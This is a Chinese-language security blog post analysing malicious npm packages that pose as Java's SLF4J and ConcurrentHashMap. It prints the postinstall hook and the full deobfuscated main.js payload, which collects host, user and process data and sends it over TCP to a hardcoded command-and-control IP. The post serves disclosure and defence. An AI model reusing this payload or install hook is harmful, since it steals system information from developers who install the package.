伪装成 Java SLF4J 的恶意 npm 包

目录

今天我们发现了 slf4j-api-jsconcurrent-hashmap 这两个恶意 npm 包,它们分别伪装成流行的 Java 日志框架 SLF4JConcurrentHashMap。虽然有效载荷看起来并不复杂,但相比我们之前看到的仍有所改进。具体来说,该有效载荷执行以下操作:

调查

我们决定深入分析 [email protected] 以识别恶意行为。package.json 是我们从 分析 5000+ 恶意包 中看到的最常见攻击向量。对于此样本,package.json 包含一个 postinstall 脚本

json
{ "name": "slf4j-api-js", "version": "1.0.0", "description": "A npm package to dynamically set log levels at runtime with SLF4J-like functionality for JavaScript applications.", "main": "main.js", "scripts": { "postinstall": "node src/postinstall.js" }, "keywords": ["logging", "slf4j", "runtime", "log-level", "javascript"], "license": "MIT" }

接下来我们查看了 src/postinstall.js 以了解安装过程中执行的代码行为。恶意行为的主要特征包括:

  • 通过 npm post-install script 生成子进程以在安装后保持驻留
  • 从与实际有效载荷相同的目录执行 main.js
js
const { spawn } = require('child_process'); const path = require('path'); // ... const mainFilePath = path.resolve(__dirname, '创建文件夹:slf4j-api-js/src/main.js'); const child = spawn('node', [mainFilePath], { detached: true, stdio: 'ignore', }); child.unref(); // ...

有趣的是,非英文字符导致包安装在基于 Linux 的系统上时产生无效路径,从而导致 main.js 有效载荷执行失败。

npm 安装失败

接下来我们查看了 src/main.js,它使用了基本的字符串混淆,可能旨在规避基于签名的检测系统。这确实绕过了我们基于 YARA Forge 的规则匹配系统,但被我们的静态代码分析引擎捕获,该引擎会查找代码能力,如网络通信、文件系统访问等。

js
const _teg7m59w=require('os'),_n9acweg2=require('net') // ... const _xqanthql='8.152.163.60',_4apogc7a=8058; // ... function _ahr17bwh(){try{let a='';a=_teg7m59w.platform()==='win32'?'tasklist /nh /fo csv':'ps aux';}}

虽然代码经过混淆,但命令字符串未被混淆,这使得预期的有效载荷容易暴露。例如,以下代码根据操作系统确定屏幕分辨率。

js
function _wpggtu79() { try { if (_teg7m59w.platform() === 'win32') { const a = _grjt11kr( 'wmic path Win32_VideoController get CurrentHorizontalResolution,CurrentVerticalResolution /format:value' ).toString(), b = a.split('\n'), c = {}; return ( b.forEach((d) => { d.includes('CurrentHorizontalResolution') ? (c.width = parseInt(d.split('=')[1].trim(), 10)) : d.includes('CurrentVerticalResolution') && (c.height = parseInt(d.split('=')[1].trim(), 10)); }), c.width && c.height ? c.width + 'x' + c.height : 'N/A' ); } else if (_teg7m59w.platform() === 'linux') { const a = _grjt11kr("xrandr --current | grep \\* | uniq | awk '{print $1}'").toString(); return a.trim() || 'N/A (Linux/No X)'; } else if (_teg7m59w.platform() === 'darwin') { const a = _grjt11kr('system_profiler SPDisplaysDataType | grep Resolution | awk \'{print $2"x"$4}\'').toString(); return a.trim() || 'N/A (macOS)'; } return 'N/A (不支持的操作系统或无头环境)'; } catch (a) { return 'N/A (错误)'; } }

混淆前的代码已提供在妥协指标 (IOC) 部分。main.js 的整体分析表明,它主要是一个信息收集有效载荷,收集以下内容:

  • 屏幕分辨率
  • 系统语言环境
  • 运行中的进程
  • 系统信息

自动化分析

虽然分析过程很简单,但我们决定将我们的 SafeDep 云包扫描服务 作为 MCP 服务器与 Claude Desktop 连接,以自动化分析过程。主要是为了测试和验证我们自动化分析系统的有效性。

如果您受到影响该怎么办?

  • 使用 npm remove slf4j-api-js 删除该包

对于关键系统,我们建议应将系统视为已受感染,并启动适当的事件响应流程。

SafeDep 能提供什么帮助?

我们的免费开源工具 vet 与 SafeDep 云包扫描服务集成,可用于在安装前检测恶意包。vet-action 是一个 GitHub Action,可用于在您的 GitHub Actions 工作流中建立主动防护措施,抵御恶意开源包。

妥协指标 (IOC)

  • 命令与控制 (C2) 服务器 IP 地址:8.152.163.60

混淆前的 main.js

js
// Import required Node.js modules const os = require('os'); const net = require('net'); const { execSync } = require('child_process'); // Hardcoded remote command and control (C2) server information const C2_SERVER_IP = '8.152.163.60'; const C2_SERVER_PORT = 8058; /** * Detects screen resolution based on operating system * Uses different commands depending on whether running on Windows, Linux, or macOS * @returns {string} Screen resolution in format "widthxheight" or "N/A" if detection fails */ function getScreenResolution() { try { // For Windows systems if (os.platform() === 'win32') { const cmdOutput = execSync( 'wmic path Win32_VideoController get CurrentHorizontalResolution,CurrentVerticalResolution /format:value' ).toString(); const outputLines = cmdOutput.split('\n'); const resolution = {}; // Parse the command output to extract width and height outputLines.forEach((line) => { if (line.includes('CurrentHorizontalResolution')) { resolution.width = parseInt(line.split('=')[1].trim(), 10); } else if (line.includes('CurrentVerticalResolution')) { resolution.height = parseInt(line.split('=')[1].trim(), 10); } }); // Return resolution in standard format if detected return resolution.width && resolution.height ? resolution.width + 'x' + resolution.height : 'N/A'; } // For Linux systems else if (os.platform() === 'linux') { const cmdOutput = execSync("xrandr --current | grep \\* | uniq | awk '{print $1}'").toString(); return cmdOutput.trim() || 'N/A (Linux/No X)'; } // For macOS systems else if (os.platform() === 'darwin') { const cmdOutput = execSync( 'system_profiler SPDisplaysDataType | grep Resolution | awk \'{print $2"x"$4}\'' ).toString(); return cmdOutput.trim() || 'N/A (macOS)'; } // For unsupported operating systems return 'N/A (Unsupported operating system or headless environment)'; } catch (error) { return 'N/A (Error)'; } } /** * Detects system locale settings * Uses browser-like APIs first, then falls back to environment variables * @returns {string} The detected locale or "N/A" if detection fails */ function getSystemLocale() { try { // Try to get locale from Intl API (similar to browser behavior) return Intl.DateTimeFormat().resolvedOptions().locale; } catch (error) { // Fallback to environment variables if Intl API fails return process.env.LANG || process.env.LC_ALL || process.env.LC_MESSAGES || 'N/A'; } } /** * Scans running processes to detect browsers and office applications * Uses different commands for Windows vs Unix-like systems * @returns {object} Process information including count and detection flags */ function scanRunningProcesses() { try { // Choose the appropriate command based on OS let command = ''; command = os.platform() === 'win32' ? 'tasklist /nh /fo csv' : 'ps aux'; // Execute the command to list processes const cmdOutput = execSync(command, { timeout: 5000, encoding: 'utf8', }); const processLines = cmdOutput.trim().split('\n'); // Return process data with flags for specific application types return { count: processLines.length, hasBrowser: /chrome|firefox|msedge|safari/i.test(cmdOutput), hasOffice: /winword|excel|powerpnt|soffice/i.test(cmdOutput), }; } catch (error) { return { count: -1, error: error.message, }; } } /** * Collects comprehensive system information * Gathers hardware, OS, and user data to create a system profile */ function collectSystemData() { // Record start time for performance measurement const startTime = Date.now(); // Gather basic OS and hardware information const osType = os.platform(); const osRelease = os.release(); const osVersion = os.version(); const architecture = os.arch(); const hostName = os.hostname(); const uptime = os.uptime(); const userInfo = os.userInfo(); const totalMemory = os.totalmem(); const freeMemory = os.freemem(); const cpuInfo = os.cpus(); // Gather additional information using helper functions const screenResolution = getScreenResolution(); const locale = getSystemLocale(); const processInfo = scanRunningProcesses(); const isTTY = process.stdout.isTTY; // Unique identifier/flag for this version of the malware const malwareFlag = 'dv2-7'; // Assemble all collected data into a structured format const systemProfile = { flag: malwareFlag, basic: { osType: osType, arch: architecture, }, detailed: { osRelease: osRelease, osVersion: osVersion, hostname: hostName, uptime: uptime, username: userInfo.username, homedir: userInfo.homedir, shell: userInfo.shell, totalMemory: totalMemory, freeMemory: freeMemory, cpuCount: cpuInfo.length, cpuModel: cpuInfo.length > 0 ? cpuInfo[0].model : 'N/A', screenResolution: screenResolution, locale: locale, processes: processInfo, isInteractive: isTTY, }, }; // Calculate execution time and add to payload const endTime = Date.now(); systemProfile.executionDurationMs = endTime - startTime; // Send the collected data to the C2 server sendDataToC2Server(JSON.stringify(systemProfile)); } /** * Sends collected data to the command and control server * Uses raw TCP socket connection * @param {string} data - JSON string containing system information */ function sendDataToC2Server(data) { // Create a new TCP socket const socket = new net.Socket(); // Connect to the remote C2 server socket.connect(C2_SERVER_PORT, C2_SERVER_IP, () => { // Send the collected data once connected socket.write(data); }); // Handle responses (destroys connection after receiving any data) socket.on('data', (response) => { socket.destroy(); }); // Empty error handler (suppresses errors) socket.on('error', (error) => { // Intentionally empty to hide connection errors }); // Empty close handler socket.on('close', () => { // Intentionally empty }); } // Start the data collection and exfiltration process collectSystemData();
  • vet
  • cloud
  • malware

SafeDep 博客最新动态

关注以获取开源安全与工程方面的最新更新和见解